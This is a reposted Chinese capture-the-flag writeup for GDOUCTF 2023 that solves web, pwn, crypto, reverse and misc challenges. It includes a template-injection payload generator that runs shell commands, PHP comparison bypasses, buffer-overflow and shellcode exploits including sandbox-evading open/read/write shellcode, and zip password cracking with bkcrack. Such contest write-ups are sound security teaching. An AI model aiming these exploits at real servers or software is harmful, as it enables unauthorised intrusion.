当前位置:首页 » 《随便一记》 » 正文

2023 广东海洋大学 GDOUCTF Writeup By AheadSec

10 人参与  2023年05月06日 10:49  分类 : 《随便一记》  评论

点击全文阅读


感谢战队的每位同学,辛苦了~
Web: Naclmonkey777peakaboo
Pwn: zsNick
Crypto: Nacl
Reverse: kcldah
Misc: mochu7Nacl

最终成绩第17名:
image.png

文章目录

Webhate eat snakeEZ WEB受不了一点<ez_ze>问卷来力! PwnEASY PWNezshellcode真男人下120层RANDOM CryptoAbsolute_Baby_Encrytpion ReverseCheck_Your_Luckdoublegame Misc签到Matryoshkapixelartgetnopwd

Web

hate eat snake

打开界面看到是个贪吃蛇游戏,拿flag的条件是坚持60秒,玩了一下可以发现蛇会越来越快,那么肯定有个参数控制蛇的速度
然后打开右键检查查看源代码,可以发现确实存在控制蛇速度的参数:speed

window.onload = function() {    new Snake('eatSnake',10,false);}var Snake = function(snakeId, speed, isAuto) {    this.width = arguments[3] || 35;    this.height = arguments[4] || 35;    this.snakeId = snakeId || 'snake';    this.Grid = [];    this.snakeGrid = [];    this.foodGrid = [];    this.derectkey = 39;    this.goX = 0;    this.goY = 0;    this.speed = this.oldSpeed = speed || 10;    this.stop = true,    this.snakeTimer = null;    this.isAuto = isAuto || false;    this.init();    this.timeCounter = 0;    this.startTime = 0;};

这里可以发现创建蛇的时候给了一个初始速度10,咋可以改掉,自己随机设置

this.speed = this.oldSpeed = speed ||10;这里也可以改掉,自己随便改

然后再Ctrl + F查找一下还有没有控制speed的地方

然后可以在 main: function() { this.speed++;}发现自增,然后干掉自增,

然后等着玩蛇就会自动出flag,虽然可以改那个出flag的时间,但一时半会没找到就算了

EZ WEB

打开题目进入主页,右键查看源代码可以发现有注释:</src>

image.png

然后访问/src目录

image.png

使用PUT的方式访问路径:/super-secret-route-nobody-will-guess就可以获取flag

image.png

受不了一点

打开题目可以看到一堆代码

<?php  error_reporting(0);header("Content-type:text/html;charset=utf-8");if(isset($_POST['gdou'])&&isset($_POST['ctf'])){  $b=$_POST['ctf'];  $a=$_POST['gdou'];  if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){    if(isset($_COOKIE['cookie'])){      if ($_COOKIE['cookie']=='j0k3r'){        if(isset($_GET['aaa']) && isset($_GET['bbb'])){          $aaa=$_GET['aaa'];          $bbb=$_GET['bbb'];          if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){            $give = 'cancanwordflag';            $get ='hacker!';            if(!isset($_GET['flag']) && !isset($_POST['flag'])){              die($give);            }            if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){              die($get);            }            foreach ($_POST as $key => $value) {              $$key = $value;            }            foreach ($_GET as $key => $value) {              $$key = $$value;            }            echo $f1ag;          }else{            echo "洗洗睡吧";          }        }else{          echo "行不行啊细狗";        }      }    }    else {      echo '菜菜';    }  }else{    echo "就这?";  }}else{  echo "别来沾边";}?>别来沾边

一步一步分析,首先需要POST传入参数:ctf、gdou

然后需要过一个md5强碰撞

if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){}

绕过方法很简单,以数组方法传入gdou和ctf的值
后面md5因为无法解析数组内容,然后会读入一个字符串array,然后两个参数md5值就相等了

接着还需要再请求头中添加cookie参数,它的值为:j0k3r

接着需要传入参数:aaa、bbb,然后绕过以下代码

if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){}

这个是字符串的弱比较,因为== 在进行比较的时候,会先将字符串类型转化成相同,再比较
比如如下案例

image.png

所以参数的值就可以写:aaa=114514,bbb=114514a

最后这个串代码绕过方式很简单,POST、GET各传入一个参数就可以了,看着那么多判断,但实际上只要传入了参数就能过,有没有值都不重要

if(!isset($_GET['flag']) && !isset($_POST['flag'])){die($give);}if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){die($get);}

最终结果

image.png

<ez_ze>

模板注入
参考:https://blog.csdn.net/weixin_52635170/article/details/129856818
附脚本,需要修改url地址

from typing import Listimport requestsurl = "http://node6.anna.nssctf.cn:28298/get_flag"def build_number(num: int) -> str:result: List[str] = []index: int = 0while num > 0:n: int = num % 10result.append(f"({num2var(n)}{'*ten'*index})")num //= 10index += 1return "+".join(result)num2var_dict = {0: "zero",1: "one",2: "two",3: "three",4: "four",5: "five",6: "six",7: "seven",8: "eight",9: "nine"}def num2var(num: int) -> str:if abs(num) >= 10:raise Exception("no way")return num2var_dict[num]def build_payload(command: str) -> str:return """{% set one=(a,)|length %}{% set zero=one-one %}{% set two=one+one %}{% set three=one+two %}{% set four=two*two %}{% set five=three+two %}{% set six=three*two %}{% set seven=one+six %}{% set eight=four*two %}{% set nine=one+eight %}{% set ten=five*two %}{% set pops=dict(p=a,op=a)|join %}{% set lo=(x|reject|string|list)|attr(pops)(""" + build_number(24) + """)%}{% set init=(lo,lo,dict(ini=a,t=a)|join,lo,lo)|join %}{% set cc=(lo,lo,dict(glo=a,bals=a)|join,lo,lo)|join %}{% set ccc=(lo,lo,dict(get=a,item=a)|join,lo,lo)|join %}{% set cccc=(lo,lo,dict(buil=a,tins=a)|join,lo,lo)|join %}{% set evas=dict(ev=a,al=a)|join %}{% set chs=dict(ch=a,r=a)|join %}{% set chr=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(chs)%}{% set eval=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(evas) %}{% print(eval((""" + ",".join([f"chr({build_number(ord(c))})" for c in f"__import__('os').popen('{command}').read()"]) + """)|join)) %}"""def run(command: str) -> str:payload = build_payload(command)response = requests.post(url, data={"name": payload})print(payload)print(response.text)#return re.findall(f"h3>(.*?)</h3", response.text, re.S)[0].strip()c = 'cat /flag'print(run(c))

问卷来力!

无法复制,F12源码查看image.png

Pwn

EASY PWN

1.canary关闭 2.存在get函数溢出漏洞 3.程序提供了print_flag函数给flag
综合上述3点 符合ROP中的ret2text攻击手法的前提条件

from pwn import *context.arch='amd64'# 连接远程io = remote("node5.anna.nssctf.cn", 28958)# 获取程序中的print_flag函数地址elf = ELF("./easypwn")print_flag = elf.sym['print_flag']#get函数溢出 进行ret2text攻击payload = b'a'*(0x1f+8)+p64(print_flag)#发送攻击io.sendafter('Password:',payload)#接收flagio.recvall()io.interactive()#补充: 不知为何 用pwntools连接会有问题    直接在nc链接程序的时候 把paylaod内容手动输入

ezshellcode

1.写入shellcode
2.栈溢出跳转执行 写入的shellcode

# coding:utf-8from pwn import *context.arch='amd64'# 连接远程io = remote("node5.anna.nssctf.cn", 28010)# 输入长度有限 pwntools生成的shellcode不够写入   找了个短的shellcodeshellcode=b'\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05'io.sendafter("Please.\n",shellcode)# ret2text:跳转执行上一步写入的shellcodepayload = b'a'*(0xA+8)+p64(0x6010A0)io.sendafter("start!\n",payload)io.interactive()

真男人下120层

题目采取了srand 和 rand函数 制造随机数
可以利用ctypes库 输入相同的seed种子值 就可以获得和题目相同的随机数了
打满120次随机数猜测 就可以得到程序给出的flag

from pwn import *from ctypes import *  context.arch='amd64'# 连接远程io = remote("node4.anna.nssctf.cn", 28850)# 加载rand函数的所在函数库libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')#模仿程序 设置同样的srand函数libc.srand(libc.time(0))libc.srand((libc.rand()% 3) - 0x5AB9D26E)#猜对120次随机数  程序会给出flagfor i in range(120):    io.sendlineafter("Floor ",str((libc.rand()%4)+1))io.interactive()

RANDOM

开启了sandbox(): 1.shellcode不可以提权 2.只允许open write read功能
3.shellcode的写入长度受限
综合上述3点 运用orw_shellcode 让shellcode读取输出flag

1.用ctypes获取 linux生成的随机函数 跳转vulnerable函数
2.开启了沙箱保护 不能shellcode提权 只能orw_shellcode读取flag
3.由于写入长度不够 分两次写 jmp rsp劫持返回地址 继续向下运行
4.data_addr是用pwndbg的vmmap指令 找到的可读可写可执行 地址段落
5.jmp rsp指令的地址 程序里的haha()函数中有给出

from pwn import *from ctypes import *  context.arch='amd64'# 连接远程io = remote("node6.anna.nssctf.cn",28969)# 加载rand函数的所在函数库libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')libc.srand(libc.time(0))#设置srand函数jmp_sp = 0x40094Edata_addr = 0x601000#通过随机数验证  程序会跳转到vulnerable函数io.sendlineafter("num:",str(libc.rand()%50))"""利用 jmp_sp + asm 的攻击方式  让sp指针跳回变量地址 执行shellcode:     在data_addr 0x601000 写入orw_shellcode后    并跳转执行data_addr 0x12300的orw_shellcode"""payload=asm(shellcraft.read(0,data_addr,0x100))#调用read函数 在data_addr 0x601000处写入 orw_shellcode内容payload+=asm('mov rax,0x601000;call rax')#并且call ax寄存器 调用执行 data_addr 0x601000处的orw_shellcodepayload=payload.ljust(0x28,b'\x00')#打满变量空间 和 rbp寄存器的字节payload+=p64(jmp_sp)#返回地址写成jmp_esp,继续运行当前sp后续指令 填写别的返回地址 就无法控制程序后面的执行流程了payload+=asm('sub rsp,0x30;jmp rsp')#此时sp已经离shellcode地址偏移0x30,这里把sp挪回到shellcode地址 并跳转到shellcodeio.sendlineafter("your door\n",payload)"""orw_shellcode执行的内容:打开本地的flag文件 把flag文件内容写入到 data_addr+0x100把输出data_addr+0x100的flag文件内容"""orw_shellcode = shellcraft.open("./flag")#打开本地的flag文件orw_shellcode += shellcraft.read(3, data_addr+0x100, 0x50)#文件描述符3:其它打开的文件 flag内容写入到data_addr+0x100orw_shellcode += shellcraft.write(1, data_addr+0x100,0x50)#文件描述符1:输出  地址data_addr+0x100存储的flag内容io.send(asm(orw_shellcode))io.interactive()

Crypto

Absolute_Baby_Encrytpion

let messagetoEncrypt = prompt("Enter a string: ").toLowerCase();let charArray = messagetoEncrypt.split("");let encryptedString = "";let hasInvalidCharacter = false;for (let i = 0; i < charArray.length; i++) {    switch (charArray[i]) {        case 'a':            encryptedString = encryptedString.concat('!')            break;        case 'b':            encryptedString = encryptedString.concat('1')            break;        case 'c':            encryptedString = encryptedString.concat(')')            break;        case 'd':            encryptedString = encryptedString.concat('v')            break;        case 'e':            encryptedString = encryptedString.concat('m')            break;        case 'f':            encryptedString = encryptedString.concat('+')            break;        case 'g':            encryptedString = encryptedString.concat('q')            break;        case 'h':            encryptedString = encryptedString.concat('0')            break;        case 'i':            encryptedString = encryptedString.concat('c')            break;        case 'j':            encryptedString = encryptedString.concat(']')            break;        case 'k':            encryptedString = encryptedString.concat('(')            break;        case 'l':            encryptedString = encryptedString.concat('}')            break;        case 'm':            encryptedString = encryptedString.concat('[')            break;        case 'n':            encryptedString = encryptedString.concat('8')            break;        case 'o':            encryptedString = encryptedString.concat('5')            break;        case 'p':            encryptedString = encryptedString.concat('$')            break;        case 'q':            encryptedString = encryptedString.concat('*')            break;        case 'r':            encryptedString = encryptedString.concat('i')            break;        case 's':            encryptedString = encryptedString.concat('>')            break;        case 't':            encryptedString = encryptedString.concat('#')            break;        case 'u':            encryptedString = encryptedString.concat('<')            break;        case 'v':            encryptedString = encryptedString.concat('?')            break;        case 'w':            encryptedString = encryptedString.concat('o')            break;        case 'x':            encryptedString = encryptedString.concat('^')            break;        case 'y':            encryptedString = encryptedString.concat('-')            break;        case 'z':            encryptedString = encryptedString.concat('_')            break;        case '0':            encryptedString = encryptedString.concat('h')            break;        case '1':            encryptedString = encryptedString.concat('w')            break;        case '2':            encryptedString = encryptedString.concat('e')            break;        case '3':            encryptedString = encryptedString.concat('9')            break;        case '4':            encryptedString = encryptedString.concat('g')            break;        case '5':            encryptedString = encryptedString.concat('z')            break;        case '6':            encryptedString = encryptedString.concat('d')            break;        case '7':            encryptedString = encryptedString.concat('~')            break;        case '8':            encryptedString = encryptedString.concat('=')            break;        case '9':            encryptedString = encryptedString.concat('x')            break;        case '!':            encryptedString = encryptedString.concat('j')            break;        case '@':            encryptedString = encryptedString.concat(':')            break;        case '#':            encryptedString = encryptedString.concat('4')            break;        case '$':            encryptedString = encryptedString.concat('b')            break;        case '%':            encryptedString = encryptedString.concat('`')            break;        case '^':            encryptedString = encryptedString.concat('l')            break;        case '&':            encryptedString = encryptedString.concat('3')            break;        case '*':            encryptedString = encryptedString.concat('t')            break;        case '(':            encryptedString = encryptedString.concat('6')            break;        case ')':            encryptedString = encryptedString.concat('s')            break;        case '_':            encryptedString = encryptedString.concat('n')            break;        case '+':            encryptedString = encryptedString.concat(';')            break;        case '-':            encryptedString = encryptedString.concat('\'')            break;        case '=':            encryptedString = encryptedString.concat('r')            break;        case '`':            encryptedString = encryptedString.concat('k')            break;        case '~':            encryptedString = encryptedString.concat('p')            break;        case '{':            encryptedString = encryptedString.concat('\"')            break;        case '}':            encryptedString = encryptedString.concat('&')            break;        case '[':            encryptedString = encryptedString.concat('/')            break;        case ']':            encryptedString = encryptedString.concat('\\')            break;        case '|':            encryptedString = encryptedString.concat('2')            break;        case ':':            encryptedString = encryptedString.concat('.')            break;        case ';':            encryptedString = encryptedString.concat('%')            break;        case '\"':            encryptedString = encryptedString.concat('|')            break;        case '\'':            encryptedString = encryptedString.concat(',')            break;        case '<':            encryptedString = encryptedString.concat('@')            break;        case '>':            encryptedString = encryptedString.concat('{')            break;        case ',':            encryptedString = encryptedString.concat('u')            break;        case '.':            encryptedString = encryptedString.concat('7')            break;        case '?':            encryptedString = encryptedString.concat('y')            break;        case '/':            encryptedString = encryptedString.concat('a')            break;        default:            hasInvalidCharacter = true;    }}if (hasInvalidCharacter) {    encryptedString = "Invalid String!";} else {    console.log(`Your encoded string is ${encryptedString}`);}

就是根据这个js脚本反推,然后写在字典里头

import base64# +}!q")hiim)#}-nvm)i-$#mvn#0mnbm)im#n+}!qnm8)i-$#mvnoc#0nz<$9inm!>-n1:1-nm8)i-$~c58n!}qhij#0[noic##m8nc8n?!8c}w!n]>&coded_string="K30hcSIpaGlpbSkjfS1udm0paS0kI212biMwbW5ibSlpbSNuK30hcW5tOClpLSQjbXZub2MjMG56PCQ5aW5tIT4tbjE6MS1ubTgpaS0kfmM1OG4hfXFoaWojMFtub2ljIyNtOG5jOG4/IThjfXchbl0+Jg=="encrypted_string = base64.b64decode(coded_string).decode('utf-8')dict = {'a':'!','b':'1','c':')','d':'v','e':'m','f':'+','g':'q','h':'0','i':'c','j':']','k':'(','l':'}','m':'[','n':'8','o':'5','p':'$','q':'*','r':'i','s':'>','t':'#','u':'<','v':'?','w':'o','x':'^','y':'-','z':'_','0':'h','1':'w','2':'e','3':'9','4':'g','5':'z','6':'d','7':'~','8':'=','9':'x','!':'j','@':':','#':'4','$':'b','%':'`','^':'l','&':'3','*':'t','(':'6',')':'s','_':'n','+':';','-':'\'','=':'r','`':'k','~':'p','{':'\"','}':'&','[':'/',']':'\\','|':'2',':':'.',';':'%','\"':'|','\'':',','<':'@','>':'{',',':'u','.':'7','?':'y','/':'a'}inverted_dict = {value: key for key, value in dict.items()}result = ''for char in encrypted_string:    if char in inverted_dict:        result += inverted_dict[char]    else:        result += charprint(result)

image.png

Reverse

Check_Your_Luck

c++代码直接使用了一个方程组,使用python的sympy模块直接求解

// 使用多项式void flag_checker(int v,int w, int x, int y, int z){    if ((v * 23 + w * -32 + x * 98 + y * 55 + z * 90 == 333322) &&        (v * 123 + w * -322 + x * 68 + y * 67 + z * 32 == 707724) &&        (v * 266 + w * -34 + x * 43 + y * 8 + z * 32 == 1272529) &&        (v * 343 + w * -352 + x * 58 + y * 65 + z * 5 == 1672457) &&        (v * 231 + w * -321 + x * 938 + y * 555 + z * 970 == 3372367)){        cout << "Congratulations, Here is your flag:\n";        cout << "flag{" << v << "_" << w << "_" << x << "_" << y << "_" << z << "}" << endl;    }    else{                cout << "\nSeems your luck is not in favor right now!\nBetter luck next time!" << endl;    }}

没啥操作,脚本一跑出结果

from sympy.solvers import solvefrom sympy import Symbolprint(chr(114))# 定义变量v = Symbol('v')w = Symbol('w')x = Symbol('x')y = Symbol('y')z = Symbol('z')# 定义方程组eq1 = v*23 + w*(-32) + x*98 + y*55 + z*90 - 333322eq2 = v*123 + w*(-322) + x*68 + y*67 + z*32 - 707724eq3 = v*266 + w*(-34) + x*43 + y*8 + z*32 - 1272529eq4 = v*343 + w*(-352) + x*58 + y*65 + z*5 - 1672457eq5 = v*231 + w*(-321) + x*938 + y*555 + z*970 - 3372367# 求解方程组sol = solve((eq1, eq2, eq3, eq4, eq5), (v, w, x, y, z))# 输出结果print(sol)

doublegame

使用exeinfope查看,64位,无壳

image-20230416180857044.png

运行,发现是个贪吃蛇,

image-20230416181738250.png

直接打开ida,使用 shift + f12,搜索 GAME OVER,发现有很多,一个一个的看

image-20230416181839594.png

直接 按双击,然后点击tab找到调用处,然后开始代码分析

image-20230416181917560.png

分析后有用的代码就是中间的代码块

if ( dword_140021E60[42 * a2 + 42 * dword_140020178 + a1 + dword_140020174] == 2 )  {    ++dword_140020170;    dword_140022CD0 += 10;    sub_1400111A9(7i64);    sub_14001130C(0i64, 22i64);    sub_1400111F9(&unk_14001D220);    sub_14001105A();  }  else if ( dword_140021E60[42 * a2 + 42 * dword_140020178 + a1 + dword_140020174] == 1         || dword_140021E60[42 * a2 + 42 * dword_140020178 + a1 + dword_140020174] == 4 )  {    Sleep(0x3E8u);    system("cls");    sub_1400111A9(7i64);    sub_14001130C(28i64, 8i64);           // 分数要大于100    if ( dword_140022CD0 <= 100 )    {      if ( dword_140022CD0 <= dword_14002017C )        sub_1400111F9(&unk_14001D280);      else        sub_1400111F9(&unk_14001D0B8);    }    else    {      sub_1400111DB();        // 分数大于 13371337时进入第二关      if ( dword_140022CD0 > 13371337 )          // 游戏第二关        sub_14001136B();      sub_1400110E6();    }    sub_14001130C(28i64, 11i64);    sub_1400111F9("GAME OVER");    while ( 1 )    {      while ( 1 )      {        sub_14001130C(28i64, 14i64);        sub_1400111F9(&unk_14001D320);        sub_1400110BE("%c", v7);        if ( v7[0] != 121 && v7[0] != 89 )          break;        system("cls");        sub_1400112EE();      }      if ( v7[0] == 110 || v7[0] == 78 )      {        sub_14001130C(28i64, 16i64);        exit(0);      }      sub_14001130C(28i64, 16i64);      sub_1400111F9(&unk_14001D3A0);    }  }

一直在函数名那里按 x , 找到这个代码的调用处,动调得知贪吃蛇每走一步,都会去判断上面代码的if,需要通过贪吃蛇才能进入第二关

image-20230416182302223.png

打开第二关,可以看到是个迷宫题

image-20230416182747723.png

代码分析

printf("path\n");v23 = 0;v24 = 0;// 当前所在纵坐标v15 = 15;// 当前所在横坐标v16 = 0;// 出口点纵坐标v17 = 7;// 出口点横坐标v18 = 20;// 画迷宫for ( j = 0; j <= 20; ++j )    puts(&Buffer[22 * j]);sub_1400111F9("Please to save the cat!\n");// 循环判断是否出了迷宫  while ( v15 != v17 || v16 != v18 )  {      // 获取当前输入的字符    v22 = getchar();    switch ( v22 )    {      case 's':        if ( Buffer[22 * v15 + 22 + v16] != 48 )        {          Buffer[22 * v15++ + v16] = 32;          Buffer[22 * v15 + v16] = 64;        }        break;      case 'w':        if ( Buffer[22 * v15 - 22 + v16] != 48 )        {          Buffer[22 * v15-- + v16] = 32;          Buffer[22 * v15 + v16] = 64;        }        break;      case 'a':        if ( Buffer[22 * v15 - 1 + v16] != 48 )        {            // 如果碰到了‘猫’(*)所在          if ( Buffer[22 * v15 - 1 + v16] == 42 )            v7[20] = 48;          Buffer[22 * v15 + v16--] = 32;          Buffer[22 * v15 + v16] = 64;        }        break;      default:        if ( v22 == 100 && Buffer[22 * v15 + 1 + v16] != 48 )        {          Buffer[22 * v15 + v16++] = 32;          Buffer[22 * v15 + v16] = 64;        }        break;    }      // 删除迷宫    system("cls");    for ( j = 0; j <= 20; ++j )      puts(&Buffer[22 * j]);    puts(&v19[25 * v23]);      // 如果碰到了猫    if ( v7[20] == 48 )    {        // 使用第一关的分数与 7620异或      v24 = sub_140011433(0);        // 判断输入的第一关的分数是否正确      if ( v24 == 13376013 )      {          // 重新初始化当前所在位置以及将迷宫中 ‘猫’的位置变为 ‘ ’        v23 = 1;        v7[20] = 32;        Buffer[22 * v15 + v16] = 32;        v15 = 15;        v16 = 0;        v11[0] = 64;        ++v23;      }      else      {        sub_1400111F9("error");      }    }  }

分析完后,可以知道第一关需要的分数是 13371337
所以直接使用 ida patch掉第一关,使用 tab进入对应的汇编代码,然后将 跳转改为相反的即可,jle -> jge

image-20230416183758226.png

修改完后得到迷宫

0000000000000000000000 0 0 0     0     0 00 0 0 00000 00000 0 00 0               0 00 000 000 0 000 0 0 00 0     0 0 0   0 0 00 0 0 00000 000 000 00 0 0     0   0 0    0 000 0 0 000 0 0 0 00     0 0 0 0 0 0 0 00 00000 000 000 0 0 00     0       0   0 0000 0 0 0 000 0 0 0 00 0 0 0 0 0 * 0 0 0 00 0000000 0 000 00000@   0   0 0         00 0 0 0 0 000000000000 0 0 0             0000 0 00000 0 000 0000         0 0   0   0000000000000000000000

走的路段为: dddssssddwwwwddssddwwwwwwddddssaassddddwwwwddwwwwddd
结束后根据提示: HZCTF{md5(path)+score}
使用在线 md5加密网站,得到flag: nssctf{811173b05afff098b4e0757962127eac13371337}

Misc

签到

长亭珂兰寺公众号回复签到
image.png

Matryoshka

压缩包套娃,密码文件给了,是数字英文单词和加、减、乘、取模的,替换下,然后运算下得到密码
注意:这里密码文件中的运算逻辑比较扯,是不按照常规数学逻辑先乘除再加减,而是固定从左往右运算
然后脚本简单处理即可:

import zipfileimport osimport redef getPassword(next_pwd_file):with open(next_pwd_file, "r") as f:data = f.read().strip()replace_list = [["zero", "0"], ["one", "1"], ["two", "2"], ["three", "3"],["four", "4"], ["five", "5"], ["six", "6"], ["seven", "7"],["eight", "8"], ["nine", "9"], ["plus", "+"], ["times", "*"],["minus", "-"], ["mod", "%"]]for rep_list in replace_list:data = data.replace(rep_list[0], rep_list[1])nums = re.findall(r"\d{1,}", data)valid_nums = []for num in nums:valid_nums.append(str(int(num)))for i in range(len(nums)):data = data.replace(nums[i], valid_nums[i])list1 = ["+", "-", "*", "%"]count_res = 0for l in list1:counts = data.count(l)count_res += countsdata = "(" * count_res + datareplace_list_3 = [["+", ")+"], ["-", ")-"], ["*", ")*"], ["%", ")%"]]for rep_list in replace_list_3:data = data.replace(rep_list[0], rep_list[1])password = abs(eval(data))return passworddef decompressZip(next_zip, password, next_pwd_file):zf = zipfile.ZipFile(next_zip, "r")name_list = zf.namelist()zf.extractall(path='.', pwd=password.encode('utf-8'))zf.close() # 关闭压缩包文件句柄os.remove(next_pwd_file)os.remove(next_zip)next_pwd_file, next_zip = name_list[0], name_list[1]return next_pwd_file, next_zipif __name__ == '__main__':next_pwd_file = "password1000.txt"next_zip = "Matryoshka1000.zip"while True:try:password = str(getPassword(next_pwd_file))next_pwd_file, next_zip = decompressZip(next_zip, password, next_pwd_file)except Exception as ex:print(ex)break

刚开始比较慢,越到后面,压缩包越小,解压速度越快。稍微等一下,没多久的
image.png

pixelart

图中放了一个缩略图,PS量一下,每个像素宽高都距离12px

from PIL import Imageimg = Image.open('arcaea.png')w = img.widthh = img.heightimg_obj = Image.new("RGB",(w//12,h//12))for x in range(w//12):    for y in range(h//12):        (r,g,b)=img.getpixel((x*12,y*12))        img_obj.putpixel((x,y),(r,g,b))img_obj.save('ok.png')

得到的图片正确
image.png
真的flag在LSB中可以看到
image.png

NSSCTF{J3st_2_cats_battling}

getnopwd

明文攻击
image.png

echo -n "00004D3C2B1A01000000FFFFFFFFFFFFFFFF" | xxd -r -ps > pcap_plain
PS D:\Tools\Misc\bkcrack-1.5.0-win64> .\bkcrack.exe -C .\getnopwd.zip -c final.pcapng -p .\pcap_plain -o 6bkcrack 1.5.0 - 2022-07-07[14:28:30] Z reduction using 10 bytes of known plaintext100.0 % (10 / 10)[14:28:30] Attack on 648601 Z values at index 13Keys: 3290bc3d 27d2d1d8 dfd4c1ae9.1 % (58992 / 648601)[14:29:18] Keys3290bc3d 27d2d1d8 dfd4c1aePS D:\Tools\Misc\bkcrack-1.5.0-win64> .\bkcrack.exe -C .\getnopwd.zip -c final.pcapng -k 3290bc3d 27d2d1d8 dfd4c1ae -d final.pcapngbkcrack 1.5.0 - 2022-07-07[14:38:05] Writing deciphered data final.pcapng (maybe compressed)Wrote deciphered data.PS D:\Tools\Misc\bkcrack-1.5.0-win64> .\bkcrack.exe -C .\getnopwd.zip -c DO_NO_BE_MISDIRECTED -k 3290bc3d 27d2d1d8 dfd4c1ae -d DO_NO_BE_MISDIRECTEDbkcrack 1.5.0 - 2022-07-07[14:38:43] Writing deciphered data DO_NO_BE_MISDIRECTED (maybe compressed)Wrote deciphered data.

识别一下是啥玩意

root@mochu7-pc:/mnt/d/Tools/Misc/bkcrack-1.5.0-win64# file DO_NO_BE_MISDIRECTEDDO_NO_BE_MISDIRECTED: Zip archive data, made by v4.5, extract using at least v2.0, last modified Mon Jan 26 00:44:48 1970, uncompressed size 1312, method=deflate

修改后缀为.zip,解压,看起来是docx文件,直接查看document.xml
image.png
一开始也不知道是什么流量,查了下这两个标识
image.png
发现是数位板流量,找到了一道同样是数位板流量的题目:https://blogs.tunelko.com/2017/02/05/bitsctf-tom-and-jerry-50-points/
首先提取数位板的数据

tshark -r final.pcapng -T fields -Y "usb.transfer_type == 0x01 and frame.len==37" -e "usb.capdata" > usbdata.txt

然后根据上面的链接,知道该数据的存储格式(小端存储)

Example: 02:f0:50:1d:72:1a:00:00:12Bytes:02:f0: -- Header50:1d: -- X72:1a: -- Y00:00: -- Pressure12 -- Suffix
with open('usbdata.txt', 'r') as f:lines = f.readlines()for line in lines:line = line.strip()x = line[4:8][2:] + line[4:8][:2]y = line[8:12][2:] + line[8:12][:2]z = line[12:16][2:]print(int(x, 16), int(y, 16), int(z, 16), sep=" ")

gnuplot直接画
image.png
PS垂直翻转一下
image.png

NSSCTF{m1nd_3v3rything_y0u_see}

点击全文阅读


本文链接:http://zhangshiyu.com/post/61077.html

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1